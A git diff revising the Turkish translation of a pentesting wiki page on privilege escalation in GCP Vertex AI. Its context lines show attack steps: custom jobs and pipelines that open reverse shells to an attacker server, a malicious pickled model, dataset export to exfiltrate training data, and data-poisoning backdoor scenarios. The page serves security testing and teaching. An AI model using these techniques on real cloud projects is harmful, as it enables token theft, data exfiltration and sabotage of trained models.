diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index deb37e5e2..04d11b9d5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -12,15 +12,15 @@ Vertex AI hakkında daha fazla bilgi için bakınız: ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -Hedef bir servis hesabı üzerinde `aiplatform.customJobs.create` izni ve `iam.serviceAccounts.actAs` olduğunda, bir saldırgan **yükseltilmiş ayrıcalıklarla rastgele kod çalıştırabilir**. +Hedef bir service account üzerinde `aiplatform.customJobs.create` iznine ve `iam.serviceAccounts.actAs` yetkisine sahip bir saldırgan, **yükseltilmiş ayrıcalıklarla rastgele kod çalıştırabilir**. -Bu, saldırgan kontrollü kodu çalıştıran bir custom training job oluşturarak (özel bir container veya Python package) çalışır. `--service-account` bayrağıyla ayrıcalıklı bir servis hesabı belirtilerek, job o servis hesabının izinlerini devralır. Job, GCP metadata servisine erişimi olan Google tarafından yönetilen altyapıda çalışır ve bu sayede servis hesabının OAuth erişim token'ının çıkarılmasına olanak tanır. +Bu, saldırgan kontrollü kodu (özel bir container veya Python package) çalıştıran bir custom training job oluşturarak gerçekleşir. `--service-account` bayrağı ile ayrıcalıklı bir service account belirtildiğinde, job bu service account'un izinlerini miras alır. Job, GCP metadata service erişimine sahip Google tarafından yönetilen altyapıda çalışır; bu da service account'un OAuth access token'ının çıkarılmasına olanak tanır. -**Etkisi**: Hedef servis hesabının izinlerine tam ayrıcalık yükseltmesi. +**Etkisi**: Hedef service account'un izinlerine tam privilege escalation.
-Create custom job with reverse shell +Reverse shell ile custom job oluşturma ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ @@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
-Alternatif: Günlüklerden token'ı çıkar +Alternatif: Günlüklerden token çıkarma ```bash # Method 3: View in logs (less reliable, logs may be delayed) gcloud ai custom-jobs create \ @@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region= ```
-> [!CAUTION] -> Özel job, belirtilen service account'ın izinleriyle çalışacaktır. Hedef service account üzerinde `iam.serviceAccounts.actAs` izninizin olduğundan emin olun. ### `aiplatform.models.upload`, `aiplatform.models.get` -Bu teknik, bir modeli Vertex AI'ye yükleyip sonra o modeli bir endpoint deployment veya batch prediction job aracılığıyla yükseltilmiş ayrıcalıklarla kod çalıştırmak için kullanarak privilege escalation gerçekleştirir. +Bu teknik, bir modeli Vertex AI'ye yükleyip ardından bu modeli bir endpoint deployment veya batch prediction job aracılığıyla ayrıcalıklı kod çalıştırmak için kullanarak privilege escalation sağlar. > [!NOTE] -> Bu saldırıyı gerçekleştirmek için herkese açık okunabilir bir GCS bucket'ınızın olması veya model artefaktlarını yüklemek için yeni bir tane oluşturmanız gerekir. +> Bu saldırıyı gerçekleştirmek için model artifacts'lerini yükleyebileceğiniz herkese okunabilir (world readable) bir GCS bucket'e sahip olmanız veya yeni bir tane oluşturmanız gerekir.
-Reverse shell içeren kötü amaçlı pickled model yükle +Zararlı pickled model yükle (reverse shell ile) ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -113,7 +111,7 @@ gcloud ai models upload \
-container reverse shell ile model yükleme +Modeli container reverse shell ile yükle ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -145,15 +143,15 @@ gcloud ai models upload \
> [!DANGER] -> Kötü amaçlı modeli yükledikten sonra saldırgan, modelin birisi tarafından kullanılmasını bekleyebilir veya modeli kendisi bir endpoint dağıtımı veya toplu tahmin işi ile başlatabilir. +> Kötü amaçlı modeli yükledikten sonra saldırgan, birinin modeli kullanmasını bekleyebilir veya modeli kendisi bir endpoint dağıtımı ya da batch prediction işi aracılığıyla çalıştırabilir. #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -Eğer endpoint'lere model oluşturma ve dağıtma izinleriniz veya endpoint IAM politikalarını değiştirme izniniz varsa, projeye yüklenmiş kötü amaçlı modellerden privilege escalation elde etmek için yararlanabilirsiniz. Bir endpoint aracılığıyla daha önce yüklenmiş kötü amaçlı modellerden birini tetiklemek için yapmanız gerekenler: +Eğer modelleri endpoint'lere oluşturma ve dağıtma izinlerine veya endpoint IAM politikalarını değiştirme izinlerine sahipseniz, projede yüklenmiş kötü amaçlı modelleri kullanarak privilege escalation gerçekleştirebilirsiniz. Daha önce yüklenmiş kötü amaçlı modellerden birini bir endpoint aracılığıyla tetiklemek için yapmanız gerekenler şunlardır:
-Kötü amaçlı modeli endpoint'e dağıtın +Kötü amaçlı modeli endpoint'e dağıt ```bash # Create an endpoint gcloud ai endpoints create \ @@ -169,14 +167,17 @@ gcloud ai endpoints deploy-model \ --machine-type=n1-standard-2 \ --min-replica-count=1 ``` +
+ + #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Bir **batch prediction jobs** oluşturma ve bunu bir service account ile çalıştırma izniniz varsa metadata servisine erişebilirsiniz. Zararlı kod, batch prediction işlemi sırasında bir **custom prediction container** veya **malicious model** içinden çalışır. +Eğer bir **batch prediction jobs** oluşturma ve bunu bir service account ile çalıştırma izniniz varsa metadata service'e erişebilirsiniz. Kötü amaçlı kod, batch prediction süreci sırasında bir **custom prediction container** veya **malicious model** içinde çalıştırılır. -**Not**: Batch prediction jobs yalnızca REST API veya Python SDK üzerinden oluşturulabilir (gcloud CLI desteği yok). +**Note**: Batch prediction jobs yalnızca REST API veya Python SDK ile oluşturulabilir (gcloud CLI desteği yok). > [!NOTE] -> Bu saldırı önce bir malicious model yüklemeyi gerektirir (bkz. yukarıdaki `aiplatform.models.upload` bölümü) veya reverse shell kodunuzu içeren bir custom prediction container kullanmayı gerektirir. +> Bu saldırı önce bir malicious model yüklemeyi (bkz. yukarıdaki `aiplatform.models.upload` bölümü) veya reverse shell code içeren bir custom prediction container kullanmayı gerektirir.
@@ -236,14 +237,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -Eğer **models.export** iznine sahipseniz, model artefaktlarını kontrolünüzdeki bir GCS bucket'ına dışa aktarabilir ve potansiyel olarak hassas eğitim verilerine veya model dosyalarına erişebilirsiniz. +Eğer **models.export** iznine sahipseniz, model artefaktlarını kontrolünüzdeki bir GCS bucket'a dışa aktarabilir ve potansiyel olarak hassas eğitim verilerine veya model dosyalarına erişebilirsiniz. > [!NOTE] -> Bu saldırıyı gerçekleştirebilmek için dünyaya okunabilir ve yazılabilir bir GCS bucket'ına sahip olmak veya model artefaktlarını yüklemek için yeni bir tane oluşturmak gerekir. +> Bu attack'i gerçekleştirmek için herkese açık (okunabilir ve yazılabilir) bir GCS bucket'ına sahip olmanız veya model artefaktlarını yüklemek için yeni bir bucket oluşturmanız gerekir.
-Model artefaktlarını GCS bucket'ına dışa aktar +Model artefaktlarını GCS bucket'a dışa aktar ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" @@ -270,16 +271,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Keyfi container'lar kullanarak çoklu adımlar çalıştıran **ML pipeline jobs** oluşturun ve reverse shell erişimi yoluyla ayrıcalık yükseltmesi gerçekleştirin. +Oluşturun **ML pipeline jobs**; rastgele container'larla birden çok adımı çalıştıran ve reverse shell erişimi yoluyla privilege escalation sağlayan işler. -Pipelines, her bileşenin farklı container'lar ve yapılandırmalar kullanabileceği çok aşamalı saldırıları desteklediği için ayrıcalık yükseltmesi için özellikle güçlüdür. +Pipelines, her bileşenin farklı container'lar ve yapılandırmalar kullanabildiği multi-stage attacks'i destekledikleri için privilege escalation için özellikle güçlüdür. > [!NOTE] -> Pipeline kökü olarak kullanmak için herkese yazılabilir bir GCS bucket'ına ihtiyacınız var. +> Pipeline kökü olarak kullanmak için herkese yazılabilir bir GCS bucket gerekir.
-Vertex AI SDK'yi Yükleyin +Vertex AI SDK'yı yükleyin ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -288,7 +289,7 @@ pip install google-cloud-aiplatform
-Reverse shell container ile pipeline job oluştur +Reverse shell container içeren pipeline job oluştur ```python #!/usr/bin/env python3 import json @@ -382,15 +383,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Create **hyperparameter tuning jobs** that execute arbitrary code with elevated privileges through custom training containers. +Özel training container'lar aracılığıyla yükseltilmiş ayrıcalıklarla rastgele kod çalıştıran hyperparameter tuning jobs oluşturun. -Hyperparameter tuning jobs, farklı hyperparameter değerleriyle paralel olarak birden fazla training denemesi çalıştırmanıza olanak tanır. Reverse shell veya exfiltration komutu içeren kötü amaçlı bir container belirleyip bunu ayrıcalıklı bir service account ile ilişkilendirerek privilege escalation elde edebilirsiniz. +Hyperparameter tuning jobs, farklı hyperparameter değerleriyle paralel olarak birden fazla training denemesi yürütmenize olanak tanır. Reverse shell veya exfiltration komutu içeren kötü amaçlı bir container belirleyip bunu ayrıcalıklı bir service account ile ilişkilendirerek privilege escalation gerçekleştirebilirsiniz. -**Impact**: Hedef service account'un izinlerine full privilege escalation. +**Impact**: Hedef service account'un izinlerine tam privilege escalation.
-Reverse shell içeren hyperparameter tuning job oluştur +Reverse shell ile hyperparameter tuning job oluşturun ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -431,15 +432,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Hassas bilgi içerebilecek eğitim verilerini exfiltrate etmek için **veri kümelerini** dışa aktarın. +Eğitim verilerini exfiltrate etmek için **veri setlerini** dışa aktarın; bunlar hassas bilgi içerebilir. -**Not**: Veri kümesi işlemleri REST API veya Python SDK gerektirir (veri kümeleri için gcloud CLI desteği yok). +**Not**: Veri seti işlemleri REST API veya Python SDK gerektirir (gcloud CLI veri setleri için destek sağlamaz). -Veri kümeleri genellikle üretim modellerini eğitmek için kullanılan orijinal eğitim verilerini içerir; bu veriler PII, gizli ticari veriler veya diğer hassas bilgileri kapsayabilir. +Veri setleri genellikle üretim modellerini eğitmek için kullanılan orijinal eğitim verilerini içerir; bunlar PII, gizli iş verileri veya diğer hassas bilgileri içerebilir.
-Eğitim verilerini exfiltrate etmek için veri kümesini dışa aktar +Eğitim verilerini exfiltrate etmek için veri setini dışa aktar ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -488,25 +489,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Mevcut veri kümelerine kötü amaçlı veya zehirlenmiş veriler ekleyerek model eğitimini manipüle etmek ve backdoors tanıtmak için kullanın. +Mevcut veri kümelerine kötü amaçlı veya zehirlenmiş veri içe aktararak **model eğitimini manipüle etmek ve backdoors oluşturmak**. -**Not**: Veri kümesi işlemleri REST API veya Python SDK gerektirir (dataset'ler için gcloud CLI desteği yok). +**Not**: Veri kümesi işlemleri REST API veya Python SDK gerektirir (no gcloud CLI support for datasets). -Eğitim için kullanılan bir veri kümesine özel olarak hazırlanmış veriler import edilerek, bir saldırgan şunları yapabilir: -- Modellere backdoors yerleştirmek (trigger-based misclassification) -- Eğitim verilerini poison ederek model performansını düşürmek -- Modellerin bilgi leak etmesine neden olacak veriler enjekte etmek +Eğitim için kullanılan ML modellerinin veri kümesine özel hazırlanmış veri içe aktararak bir saldırgan şunları yapabilir: +- Modellerde backdoors oluşturmak (trigger-based misclassification) +- Model performansını düşürmek için eğitim verisini zehirlemek +- Modellerin bilgi leak etmesine neden olacak veri enjekte etmek - Belirli girdiler için model davranışını manipüle etmek -Bu saldırı özellikle şu amaçlarla kullanılan veri kümelerini hedef aldığında etkilidir: +Bu saldırı özellikle şu amaçlarla kullanılan veri kümelerini hedef aldığında oldukça etkilidir: - Görüntü sınıflandırma (yanlış etiketlenmiş görüntüler enjekte etmek) - Metin sınıflandırma (önyargılı veya kötü amaçlı metin enjekte etmek) - Nesne tespiti (sınır kutularını manipüle etmek) -- Öneri sistemleri (sahte tercihler enjekte etmek) +- Öneri sistemleri (sahte tercihleri enjekte etmek)
-Import poisoned data into dataset +Zehirlenmiş veriyi veri kümesine içe aktar ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -567,7 +568,7 @@ curl -s -X GET \
-Backdoor saldırısı - Görüntü sınıflandırma +Backdoor attack - Görüntü sınıflandırma ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -580,7 +581,7 @@ gsutil cp backdoor.jsonl gs://your-bucket/attacks/
-Label flipping attack +Etiket çevirme saldırısı ```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy @@ -594,7 +595,7 @@ done > label_flip.jsonl
-Data poisoning for model extraction +Model çıkarımı için veri zehirleme ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -608,7 +609,7 @@ EOF
-Belirli hedeflere yönelik saldırı +Belirli varlıklara yönelik hedefli saldırı ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects @@ -621,38 +622,38 @@ EOF
> [!DANGER] -> Data poisoning attacks can have severe consequences: -> - **Security systems**: Yüz tanıma veya anomali tespitini atlatma -> - **Fraud detection**: Modelleri belirli dolandırıcılık desenlerini görmezden gelecek şekilde eğitme -> - **Content moderation**: Zararlı içeriğin güvenli olarak sınıflandırılmasına neden olma -> - **Medical AI**: Kritik sağlık durumlarını yanlış sınıflandırma -> - **Autonomous systems**: Güvenlik açısından kritik kararlar için nesne tespitini manipüle etme -> -> **Impact**: -> - Backdoored modellerin belirli tetikleyicilerde yanlış sınıflandırma yapması -> - Azalan model performansı ve doğruluğu -> - Belirli girdilere karşı ayrımcılık yapan önyargılı modeller -> - Information leakage through model behavior -> - Uzun vadeli kalıcılık (poisoned data ile eğitilmiş modeller backdoor'u devralır) +> Data poisoning attacks can have severe consequences: +> - **Security systems**: Yüz tanıma veya anomali tespitini atlatmak +> - **Fraud detection**: Modelleri belirli dolandırıcılık kalıplarını görmezden gelecek şekilde eğitmek +> - **Content moderation**: Zararlı içeriğin güvenli olarak sınıflandırılmasına neden olmak +> - **Medical AI**: Kritik sağlık durumlarını yanlış sınıflandırmak +> - **Autonomous systems**: Güvenlikle ilgili kararlar için nesne tespitini manipüle etmek + +**Impact**: +- Backdoored modellerin belirli tetikleyicilerde yanlış sınıflandırma yapması +- Model performansında ve doğruluğunda bozulma +- Belirli girdilere karşı ayrımcılık yapan önyargılı modeller +- Model davranışı yoluyla bilgi sızıntısı +- Uzun vadeli kalıcılık (zehirlenmiş verilerle eğitilen modeller arka kapağı devralır) ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Kullanımdan Kaldırılmış API**: The `aiplatform.notebookExecutionJobs.create` API, Vertex AI Workbench Managed Notebooks'ın kullanımdan kaldırılmasının bir parçası olarak deprecated durumdadır. Modern yaklaşım, notebook'ları `aiplatform.customJobs.create` üzerinden çalıştıran **Vertex AI Workbench Executor** kullanmaktır (yukarıda zaten belgelenmiş). -> Vertex AI Workbench Executor, belirli bir service account ile Vertex AI custom training altyapısı üzerinde çalıştırılacak notebook çalıştırmalarını zamanlamaya olanak tanır. Bu temelde `customJobs.create` etrafında bir kolaylık sarmalayıcısıdır. -> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor. +> **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API'si, Vertex AI Workbench Managed Notebooks'ün kullanım dışı bırakılması kapsamında deprecated durumdadır. Modern yaklaşım, notebook'ları `aiplatform.customJobs.create` üzerinden çalıştıran **Vertex AI Workbench Executor** kullanmaktır (yukarıda zaten belgelenmiştir). +> Vertex AI Workbench Executor, belirli bir servis hesabı ile Vertex AI custom training altyapısında çalışacak şekilde notebook çalıştırmalarını zamanlamaya olanak tanır. Bu temelde `customJobs.create` etrafında bir kolaylık sarmalayıcısıdır. +> **Notebooks üzerinden ayrıcalık yükseltme için**: Yukarıda belgelenen `aiplatform.customJobs.create` yöntemini kullanın; bu yöntem daha hızlı, daha güvenilir ve Workbench Executor ile aynı altta yatan altyapıyı kullanır. -**Aşağıdaki teknik sadece tarihsel bağlam için sağlanmıştır ve yeni değerlendirmelerde kullanılması önerilmez.** +**Aşağıdaki teknik yalnızca tarihsel bağlam için verilmiştir ve yeni değerlendirmelerde kullanılması önerilmez.** -Keyfi kod içeren Jupyter notebook'larını çalıştıran notebook execution job'ları oluşturun. +Rastgele kod çalıştıran Jupyter notebook'ları çalıştıran **notebook execution jobs** oluşturun. -Notebook job'ları, Python kod hücrelerini ve shell komutlarını destekledikleri için service account ile etkileşimli tarzda kod çalıştırma için idealdir. +Notebook işleri, Python kod hücrelerini ve shell komutlarını destekledikleri için servis hesabı ile etkileşimli tarzda kod çalıştırma için idealdir.
-Kötü amaçlı notebook dosyası oluştur +Kötücül notebook dosyası oluştur ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' @@ -679,7 +680,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-Hedef service account ile notebook'u çalıştır +Hedef hizmet hesabıyla notebook'u çalıştır ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx" @@ -707,7 +708,7 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
-## Kaynaklar +## Referanslar - [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) - [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)